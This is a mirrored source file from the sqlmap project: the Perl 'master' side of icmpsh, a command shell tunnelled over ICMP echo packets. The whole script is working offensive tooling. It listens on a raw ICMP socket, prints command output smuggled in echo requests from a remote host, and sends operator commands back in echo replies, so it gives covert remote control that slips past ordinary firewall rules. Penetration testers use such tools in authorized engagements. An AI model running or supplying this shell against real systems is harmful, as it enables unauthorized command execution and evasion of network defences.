mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 19:13:48 +03:00
63 lines
2.1 KiB
Perl
63 lines
2.1 KiB
Perl
|
#!/usr/bin/env perl
|
||
|
|
#
|
||
|
|
# icmpsh - simple icmp command shell
|
||
|
|
# Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
|
||
|
|
# This program is free software: you can redistribute it and/or modify
|
||
|
|
# it under the terms of the GNU General Public License as published by
|
||
|
|
# the Free Software Foundation, either version 3 of the License, or
|
||
|
|
# (at your option) any later version.
|
||
|
|
#
|
||
|
|
# This program is distributed in the hope that it will be useful,
|
||
|
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||
|
|
# GNU General Public License for more details.
|
||
|
|
#
|
||
|
|
# You should have received a copy of the GNU General Public License
|
||
|
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||
|
|
#
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
use strict;
|
||
|
|
use IO::Socket;
|
||
|
|
use NetPacket::IP;
|
||
|
|
use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);
|
||
|
|
use Net::RawIP;
|
||
|
|
use Fcntl;
|
||
|
|
|
||
|
|
print "icmpsh - master\n";
|
||
|
|
|
||
|
|
# create raw socket
|
||
|
|
my $sock = IO::Socket::INET->new(
|
||
|
|
Proto => "ICMP",
|
||
|
|
Type => SOCK_RAW,
|
||
|
|
Blocking => 1) or die "$!";
|
||
|
|
|
||
|
|
# set stdin to non-blocking
|
||
|
|
fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";
|
||
|
|
|
||
|
|
print "running...\n";
|
||
|
|
|
||
|
|
my $input = '';
|
||
|
|
while(1) {
|
||
|
|
if ($sock->recv(my $buffer, 4096, 0)) {
|
||
|
|
my $ip = NetPacket::IP->decode($buffer);
|
||
|
|
my $icmp = NetPacket::ICMP->decode($ip->{data});
|
||
|
|
if ($icmp->{type} == ICMP_ECHO) {
|
||
|
|
# get identifier and sequencenumber
|
||
|
|
my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});
|
||
|
|
|
||
|
|
# write data to stdout and read from stdin
|
||
|
|
print $data;
|
||
|
|
$input = <STDIN>;
|
||
|
|
|
||
|
|
# compile and send response
|
||
|
|
$icmp->{type} = ICMP_ECHOREPLY;
|
||
|
|
$icmp->{data} = pack("SSa*", $ident, $seq, $input);
|
||
|
|
my $raw = $icmp->encode();
|
||
|
|
my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));
|
||
|
|
$sock->send($raw, 0, $addr) or die "$!\n";
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|